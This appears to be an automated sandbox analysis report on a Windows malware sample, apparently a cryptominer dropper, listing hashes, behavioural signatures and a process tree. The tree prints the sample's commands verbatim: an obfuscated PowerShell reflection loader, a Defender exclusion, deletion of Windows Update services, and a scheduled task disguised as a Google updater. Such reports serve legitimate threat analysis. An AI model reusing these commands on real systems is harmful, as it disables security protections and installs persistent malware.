Analysis
-
max time kernel
74s -
max time network
143s -
platform
windows7_x64 -
resource
win7-20230712-en -
resource tags
arch:x64arch:x86image:win7-20230712-enlocale:en-usos:windows7-x64system -
submitted
20-07-2023 19:40
Static task
static1
Behavioral task
behavioral1
Sample
dmi1dfg7n.exe
Resource
win7-20230712-en
Behavioral task
behavioral2
Sample
dmi1dfg7n.exe
Resource
win10v2004-20230703-en
General
-
Target
dmi1dfg7n.exe
-
Size
2.8MB
-
MD5
9253ed091d81e076a3037e12af3dc871
-
SHA1
ec02829a25b3bf57ad061bbe54180d0c99c76981
-
SHA256
78e0a8309bc850037e12c2d72a5b0843dcd8b412a0a597c2a3dcbd44e9f3c859
-
SHA512
29ff2fd5f150d10b2d281a45df5b44873192605de8dc95278d6a7b5053370e4ac64a47100b13c63f3c048df351a9b51f0b93af7d922399a91508a50c152e8cf4
-
SSDEEP
49152:xkWZLeZVfE7GQFHJUXhr3o2AmO+gpMsv6gFcPJBpaAo1AIU7LXPyPZTzeRJ38AoW:xL1eY7bFpUxr3fAjAVRJBpPAUPyBnUy6
Malware Config
Signatures
-
Modifies security service 2 TTPs 2 IoCs
Processes:
reg.exedescription ioc process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Parameters reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Security reg.exe -
Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs
Processes:
powershell.EXEpowershell.EXEdescription pid process target process PID 2260 created 424 2260 powershell.EXE winlogon.exe PID 2960 created 424 2960 powershell.EXE winlogon.exe -
Stops running service(s) 3 TTPs
-
Executes dropped EXE 1 IoCs
Processes:
updater.exepid process 2968 updater.exe -
Loads dropped DLL 1 IoCs
Processes:
taskeng.exepid process 2400 taskeng.exe -
Drops file in System32 directory 6 IoCs
Processes:
WMIADAP.EXEpowershell.exepowershell.EXEpowershell.EXEpowershell.exedescription ioc process File created C:\Windows\system32\wbem\Performance\WmiApRpl_new.ini WMIADAP.EXE File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.EXE File opened for modification C:\Windows\SysWOW64\WindowsPowerShell\v1.0\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.EXE File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\system32\wbem\Performance\WmiApRpl_new.h WMIADAP.EXE -
Suspicious use of SetThreadContext 3 IoCs
Processes:
dmi1dfg7n.exepowershell.EXEpowershell.EXEdescription pid process target process PID 2588 set thread context of 1500 2588 dmi1dfg7n.exe dialer.exe PID 2260 set thread context of 240 2260 powershell.EXE dllhost.exe PID 2960 set thread context of 2072 2960 powershell.EXE dllhost.exe -
Drops file in Program Files directory 1 IoCs
Processes:
dmi1dfg7n.exedescription ioc process File created C:\Program Files\Google\Chrome\updater.exe dmi1dfg7n.exe -
Drops file in Windows directory 6 IoCs
Processes:
dialer.exesvchost.exedescription ioc process File opened for modification C:\Windows\Tasks\dialersvc64.job dialer.exe File opened for modification C:\Windows\appcompat\programs\RecentFileCache.bcf svchost.exe File opened for modification C:\Windows\Tasks\dialersvc32.job svchost.exe File created C:\Windows\Tasks\dialersvc32.job dialer.exe File opened for modification C:\Windows\Tasks\dialersvc32.job dialer.exe File created C:\Windows\Tasks\dialersvc64.job dialer.exe -
Launches sc.exe 6 IoCs
Sc.exe is a Windows utlilty to control services on the system.
Processes:
sc.exesc.exesc.exesc.exesc.exesc.exepid process 2828 sc.exe 3016 sc.exe 2488 sc.exe 2712 sc.exe 2432 sc.exe 1316 sc.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid process 2760 schtasks.exe 1600 schtasks.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
-
Modifies data under HKEY_USERS 2 IoCs
Processes:
powershell.EXEdescription ioc process Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = c0b3241642bbd901 powershell.EXE Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.EXE -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.EXEdllhost.exepowershell.EXEpid process 2500 powershell.exe 2256 powershell.exe 2684 powershell.exe 2260 powershell.EXE 2260 powershell.EXE 240 dllhost.exe 240 dllhost.exe 240 dllhost.exe 240 dllhost.exe 2960 powershell.EXE 240 dllhost.exe 240 dllhost.exe 240 dllhost.exe 240 dllhost.exe 240 dllhost.exe 240 dllhost.exe 240 dllhost.exe 240 dllhost.exe 240 dllhost.exe 240 dllhost.exe 240 dllhost.exe 240 dllhost.exe 240 dllhost.exe 240 dllhost.exe 240 dllhost.exe 240 dllhost.exe 240 dllhost.exe 240 dllhost.exe 240 dllhost.exe 240 dllhost.exe 240 dllhost.exe 240 dllhost.exe 240 dllhost.exe 240 dllhost.exe 240 dllhost.exe 240 dllhost.exe 240 dllhost.exe 240 dllhost.exe 240 dllhost.exe 240 dllhost.exe 240 dllhost.exe 240 dllhost.exe 240 dllhost.exe 240 dllhost.exe 240 dllhost.exe 240 dllhost.exe 240 dllhost.exe 240 dllhost.exe 240 dllhost.exe 240 dllhost.exe 240 dllhost.exe 240 dllhost.exe 240 dllhost.exe 240 dllhost.exe 240 dllhost.exe 240 dllhost.exe 240 dllhost.exe 240 dllhost.exe 240 dllhost.exe 240 dllhost.exe 240 dllhost.exe 240 dllhost.exe 240 dllhost.exe 240 dllhost.exe -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
Processes:
Explorer.EXEpid process 1260 Explorer.EXE -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
powershell.exepowercfg.exepowercfg.exepowercfg.exepowershell.exepowercfg.exepowershell.exepowershell.EXEdllhost.exepowershell.EXEsvchost.exedescription pid process Token: SeDebugPrivilege 2500 powershell.exe Token: SeShutdownPrivilege 1936 powercfg.exe Token: SeShutdownPrivilege 2748 powercfg.exe Token: SeShutdownPrivilege 2764 powercfg.exe Token: SeDebugPrivilege 2256 powershell.exe Token: SeShutdownPrivilege 2780 powercfg.exe Token: SeDebugPrivilege 2684 powershell.exe Token: SeDebugPrivilege 2260 powershell.EXE Token: SeDebugPrivilege 2260 powershell.EXE Token: SeDebugPrivilege 240 dllhost.exe Token: SeDebugPrivilege 2960 powershell.EXE Token: SeAssignPrimaryTokenPrivilege 848 svchost.exe Token: SeIncreaseQuotaPrivilege 848 svchost.exe Token: SeSecurityPrivilege 848 svchost.exe Token: SeTakeOwnershipPrivilege 848 svchost.exe Token: SeLoadDriverPrivilege 848 svchost.exe Token: SeSystemtimePrivilege 848 svchost.exe Token: SeBackupPrivilege 848 svchost.exe Token: SeRestorePrivilege 848 svchost.exe Token: SeShutdownPrivilege 848 svchost.exe Token: SeSystemEnvironmentPrivilege 848 svchost.exe Token: SeUndockPrivilege 848 svchost.exe Token: SeManageVolumePrivilege 848 svchost.exe Token: SeAssignPrimaryTokenPrivilege 848 svchost.exe Token: SeIncreaseQuotaPrivilege 848 svchost.exe Token: SeSecurityPrivilege 848 svchost.exe Token: SeTakeOwnershipPrivilege 848 svchost.exe Token: SeLoadDriverPrivilege 848 svchost.exe Token: SeSystemtimePrivilege 848 svchost.exe Token: SeBackupPrivilege 848 svchost.exe Token: SeRestorePrivilege 848 svchost.exe Token: SeShutdownPrivilege 848 svchost.exe Token: SeSystemEnvironmentPrivilege 848 svchost.exe Token: SeUndockPrivilege 848 svchost.exe Token: SeManageVolumePrivilege 848 svchost.exe Token: SeAssignPrimaryTokenPrivilege 848 svchost.exe Token: SeIncreaseQuotaPrivilege 848 svchost.exe Token: SeSecurityPrivilege 848 svchost.exe Token: SeTakeOwnershipPrivilege 848 svchost.exe Token: SeLoadDriverPrivilege 848 svchost.exe Token: SeSystemtimePrivilege 848 svchost.exe Token: SeBackupPrivilege 848 svchost.exe Token: SeRestorePrivilege 848 svchost.exe Token: SeShutdownPrivilege 848 svchost.exe Token: SeSystemEnvironmentPrivilege 848 svchost.exe Token: SeUndockPrivilege 848 svchost.exe Token: SeManageVolumePrivilege 848 svchost.exe Token: SeAssignPrimaryTokenPrivilege 848 svchost.exe Token: SeIncreaseQuotaPrivilege 848 svchost.exe Token: SeSecurityPrivilege 848 svchost.exe Token: SeTakeOwnershipPrivilege 848 svchost.exe Token: SeLoadDriverPrivilege 848 svchost.exe Token: SeSystemtimePrivilege 848 svchost.exe Token: SeBackupPrivilege 848 svchost.exe Token: SeRestorePrivilege 848 svchost.exe Token: SeShutdownPrivilege 848 svchost.exe Token: SeSystemEnvironmentPrivilege 848 svchost.exe Token: SeUndockPrivilege 848 svchost.exe Token: SeManageVolumePrivilege 848 svchost.exe Token: SeAssignPrimaryTokenPrivilege 848 svchost.exe Token: SeIncreaseQuotaPrivilege 848 svchost.exe Token: SeSecurityPrivilege 848 svchost.exe Token: SeTakeOwnershipPrivilege 848 svchost.exe Token: SeLoadDriverPrivilege 848 svchost.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
dmi1dfg7n.execmd.execmd.exepowershell.exedescription pid process target process PID 2588 wrote to memory of 2500 2588 dmi1dfg7n.exe powershell.exe PID 2588 wrote to memory of 2500 2588 dmi1dfg7n.exe powershell.exe PID 2588 wrote to memory of 2500 2588 dmi1dfg7n.exe powershell.exe PID 2588 wrote to memory of 2280 2588 dmi1dfg7n.exe cmd.exe PID 2588 wrote to memory of 2280 2588 dmi1dfg7n.exe cmd.exe PID 2588 wrote to memory of 2280 2588 dmi1dfg7n.exe cmd.exe PID 2588 wrote to memory of 2020 2588 dmi1dfg7n.exe cmd.exe PID 2588 wrote to memory of 2020 2588 dmi1dfg7n.exe cmd.exe PID 2588 wrote to memory of 2020 2588 dmi1dfg7n.exe cmd.exe PID 2588 wrote to memory of 2256 2588 dmi1dfg7n.exe powershell.exe PID 2588 wrote to memory of 2256 2588 dmi1dfg7n.exe powershell.exe PID 2588 wrote to memory of 2256 2588 dmi1dfg7n.exe powershell.exe PID 2280 wrote to memory of 3016 2280 cmd.exe sc.exe PID 2280 wrote to memory of 3016 2280 cmd.exe sc.exe PID 2280 wrote to memory of 3016 2280 cmd.exe sc.exe PID 2020 wrote to memory of 1936 2020 cmd.exe powercfg.exe PID 2020 wrote to memory of 1936 2020 cmd.exe powercfg.exe PID 2020 wrote to memory of 1936 2020 cmd.exe powercfg.exe PID 2280 wrote to memory of 2488 2280 cmd.exe sc.exe PID 2280 wrote to memory of 2488 2280 cmd.exe sc.exe PID 2280 wrote to memory of 2488 2280 cmd.exe sc.exe PID 2020 wrote to memory of 2748 2020 cmd.exe powercfg.exe PID 2020 wrote to memory of 2748 2020 cmd.exe powercfg.exe PID 2020 wrote to memory of 2748 2020 cmd.exe powercfg.exe PID 2020 wrote to memory of 2764 2020 cmd.exe powercfg.exe PID 2020 wrote to memory of 2764 2020 cmd.exe powercfg.exe PID 2020 wrote to memory of 2764 2020 cmd.exe powercfg.exe PID 2280 wrote to memory of 2712 2280 cmd.exe sc.exe PID 2280 wrote to memory of 2712 2280 cmd.exe sc.exe PID 2280 wrote to memory of 2712 2280 cmd.exe sc.exe PID 2020 wrote to memory of 2780 2020 cmd.exe powercfg.exe PID 2020 wrote to memory of 2780 2020 cmd.exe powercfg.exe PID 2020 wrote to memory of 2780 2020 cmd.exe powercfg.exe PID 2280 wrote to memory of 2432 2280 cmd.exe sc.exe PID 2280 wrote to memory of 2432 2280 cmd.exe sc.exe PID 2280 wrote to memory of 2432 2280 cmd.exe sc.exe PID 2256 wrote to memory of 2760 2256 powershell.exe schtasks.exe PID 2256 wrote to memory of 2760 2256 powershell.exe schtasks.exe PID 2256 wrote to memory of 2760 2256 powershell.exe schtasks.exe PID 2280 wrote to memory of 1316 2280 cmd.exe sc.exe PID 2280 wrote to memory of 1316 2280 cmd.exe sc.exe PID 2280 wrote to memory of 1316 2280 cmd.exe sc.exe PID 2280 wrote to memory of 268 2280 cmd.exe reg.exe PID 2280 wrote to memory of 268 2280 cmd.exe reg.exe PID 2280 wrote to memory of 268 2280 cmd.exe reg.exe PID 2280 wrote to memory of 596 2280 cmd.exe reg.exe PID 2280 wrote to memory of 596 2280 cmd.exe reg.exe PID 2280 wrote to memory of 596 2280 cmd.exe reg.exe PID 2280 wrote to memory of 580 2280 cmd.exe reg.exe PID 2280 wrote to memory of 580 2280 cmd.exe reg.exe PID 2280 wrote to memory of 580 2280 cmd.exe reg.exe PID 2280 wrote to memory of 336 2280 cmd.exe reg.exe PID 2280 wrote to memory of 336 2280 cmd.exe reg.exe PID 2280 wrote to memory of 336 2280 cmd.exe reg.exe PID 2280 wrote to memory of 908 2280 cmd.exe reg.exe PID 2280 wrote to memory of 908 2280 cmd.exe reg.exe PID 2280 wrote to memory of 908 2280 cmd.exe reg.exe PID 2588 wrote to memory of 1500 2588 dmi1dfg7n.exe dialer.exe PID 2588 wrote to memory of 1500 2588 dmi1dfg7n.exe dialer.exe PID 2588 wrote to memory of 1500 2588 dmi1dfg7n.exe dialer.exe PID 2588 wrote to memory of 1500 2588 dmi1dfg7n.exe dialer.exe PID 2588 wrote to memory of 2684 2588 dmi1dfg7n.exe powershell.exe PID 2588 wrote to memory of 2684 2588 dmi1dfg7n.exe powershell.exe PID 2588 wrote to memory of 2684 2588 dmi1dfg7n.exe powershell.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵
-
C:\Windows\system32\services.exeC:\Windows\system32\services.exe1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k RPCSS2⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted2⤵
-
C:\Windows\system32\Dwm.exe"C:\Windows\system32\Dwm.exe"3⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService2⤵
-
C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe2⤵
-
C:\Windows\system32\taskhost.exe"taskhost.exe"2⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNoNetwork2⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService2⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs2⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\taskeng.exetaskeng.exe {A8DB6224-6A4C-4432-B995-2905A2AE1846} S-1-5-18:NT AUTHORITY\System:Service:3⤵
- Loads dropped DLL
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})"4⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"4⤵
- Executes dropped EXE
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force5⤵
- Drops file in System32 directory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell <#ecgxrz#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }5⤵
- Drops file in System32 directory
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"6⤵
- Creates scheduled task(s)
-
C:\Windows\system32\cmd.execmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 05⤵
-
C:\Windows\system32\powercfg.exepowercfg /x -hibernate-timeout-ac 06⤵
-
C:\Windows\system32\powercfg.exepowercfg /x -hibernate-timeout-dc 06⤵
-
C:\Windows\system32\powercfg.exepowercfg /x -standby-timeout-ac 06⤵
-
C:\Windows\system32\powercfg.exepowercfg /x -standby-timeout-dc 06⤵
-
C:\Windows\system32\cmd.execmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f5⤵
-
C:\Windows\system32\sc.exesc stop UsoSvc6⤵
- Launches sc.exe
-
C:\Windows\system32\dialer.exeC:\Windows\system32\dialer.exe xtrjicqmdliu5⤵
-
C:\Windows\system32\cmd.execmd /c mkdir "C:\Program Files\Google\Libs\" & wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"6⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor7⤵
- Detects videocard installed
-
C:\Windows\system32\cmd.execmd /c mkdir "C:\Program Files\Google\Libs\" & wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"5⤵
-
C:\Windows\system32\dialer.exeC:\Windows\system32\dialer.exe wvhbfinhdckusjju 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPpZDYkQjcS/S/TS19hCmaZeXwQ/O4+due3etuok0KCy6TAeBBK2Zj7dzTkc9P7Txuspl/ztFHeT1vDsXwtgxIFZnxGXI+P7h6Wy2BaqsXFRrbRIyylpVUfDVtjurLuTI6hfYZYlaT2c8T3z2D8KilAioXHHI3GdcX8L+5AQJHhaF3EikxjkII2qRl4IAJt0ne1Kthho/EoWoWqiJ8V46anYGIeeueaKL6G4gUS0jG8bW+uOPYpliibsIQvftJQy3GdQNbdmaQoQosbMtF/zsQIOPYtzoBcdM/sdKVWCIsST/Py6kltT+qpekCzJYBFF4LST+8+EmmopPFkm4CPe5KhMiY/+g/sQ7d50uqIjFwwoHwsdnFS1l7B7kznzCIpeqO/4VPcOjXZ8D/gqWFx/7uyyvuxXByWtdfg2SHIbTo9ax767hx8DEZJobkKiCLCF5s3S9KZPJ6oc8SVkEHvmPn3ocLOCMVNSrrmyVksnNDnuU8b1vWVxnieD7xm0UnpffWA=5⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})"4⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\wbem\WMIADAP.EXEwmiadap.exe /F /T /R3⤵
- Drops file in System32 directory
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted2⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch2⤵
-
C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -Embedding3⤵
-
C:\Windows\system32\sppsvc.exeC:\Windows\system32\sppsvc.exe2⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation2⤵
-
C:\Windows\system32\winlogon.exewinlogon.exe1⤵
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{9833d9f9-4b12-4c0a-a561-78053b58bc37}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{45f851e3-512e-40d4-9828-a5291de47477}2⤵
-
C:\Windows\system32\lsm.exeC:\Windows\system32\lsm.exe1⤵
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious behavior: GetForegroundWindowSpam
-
C:\Users\Admin\AppData\Local\Temp\dmi1dfg7n.exe"C:\Users\Admin\AppData\Local\Temp\dmi1dfg7n.exe"2⤵
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.execmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\sc.exesc stop UsoSvc4⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop WaaSMedicSvc4⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop wuauserv4⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop bits4⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop dosvc4⤵
- Launches sc.exe
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f4⤵
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f4⤵
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f4⤵
- Modifies security service
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f4⤵
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f4⤵
-
C:\Windows\system32\cmd.execmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 03⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\powercfg.exepowercfg /x -hibernate-timeout-ac 04⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exepowercfg /x -standby-timeout-ac 04⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exepowercfg /x -hibernate-timeout-dc 04⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exepowercfg /x -standby-timeout-dc 04⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell <#ecgxrz#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"4⤵
- Creates scheduled task(s)
-
C:\Windows\system32\dialer.exeC:\Windows\system32\dialer.exe3⤵
- Drops file in Windows directory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell <#wajvhwink#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC4⤵
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-2005203039-195946740-388001963584680045-1760805022-15589127632049278959501795184"1⤵
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-1584288187-6716175021716568659-1551130898742607196-2004155016-11834073601405391807"1⤵
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "544393063-18048872136678557191725853677501212247158671489-6399488021259271422"1⤵
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-327432992-90885493-1071642265-914385056-338225567-145144997218891828981234985658"1⤵
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "5668191721703492462-2911543941824453842-1943609667-20730173801673007982135104314"1⤵
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Program Files\Google\Chrome\updater.exeFilesize
2.8MB
MD5eb27bb8cfa99d659e4fe023e9002ecd1
SHA1c783400302fdfae0518269c5a5a8d4bad29f42a3
SHA2569c01d90543458567c4737731ee6754cc209e4bb78ff648eb75c4d23be261ef2f
